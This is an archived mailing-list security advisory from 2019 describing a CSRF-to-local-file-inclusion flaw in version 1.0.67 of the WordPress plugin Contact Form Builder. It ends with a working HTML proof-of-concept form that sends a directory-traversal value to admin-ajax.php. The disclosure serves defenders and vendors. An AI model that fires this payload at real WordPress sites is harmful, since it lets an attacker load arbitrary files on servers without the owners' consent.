| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Message-ID: <de81c63e-aa64-0f09-60da-ac4ab0f20da6@gmail.com> Date: Sat, 20 Apr 2019 07:22:25 +0300 From: Panagiotis Vagenas <pan.vagenas@...il.com> To: fulldisclosure@...lists.org, bugtraq@...urityfocus.com, submit@...sec.com Subject: WordPress Plugin Contact Form Builder [CSRF → LFI] # Exploit Title: Contact Form Builder [CSRF → LFI] # Date: 2019-03-17 # Exploit Author: Panagiotis Vagenas # Vendor Homepage: http://web-dorado.com/ # Software Link: https://wordpress.org/plugins/contact-form-builder # Version: 1.0.67 # Tested on: WordPress 5.1.1 Description ----------- Plugin implements the following AJAX actions: - `ContactFormMakerPreview` - `ContactFormmakerwdcaptcha` - `nopriv_ContactFormmakerwdcaptcha` - `CFMShortcode` All of them call the function `contact_form_maker_ajax`. This function dynamicaly loads a file defined in `$_GET['action']` or `$_POST['action']` if the former is not defined. Because of the way WordPress defines the AJAX action a user could define the plugin action in the `$_GET['action']` and AJAX action in `$_POST['action']`. Leveraging that and the fact that no sanitization is performed on the `$_GET['action']`, a malicious actor can perform a CSRF attack to load a file using directory traversal thus leading to Local File Inclusion vulnerability. PoC --- ```html <form method="post" action="http://wp-csrf-new.test/wp-admin/admin-ajax.php?action=/../../../../../../index"> <label>AJAX action: <select name="action"> <option value="ContactFormMakerPreview">ContactFormMakerPreview</option> <option value="ContactFormmakerwdcaptcha">ContactFormmakerwdcaptcha</option> <option value="nopriv_ContactFormmakerwdcaptcha">nopriv_ContactFormmakerwdcaptcha</option> <option value="CFMShortcode">CFMShortcode</option> </select> </label> <button type="submit" value="Submit">Submit</button> </form> ```
Powered by blists - more mailing lists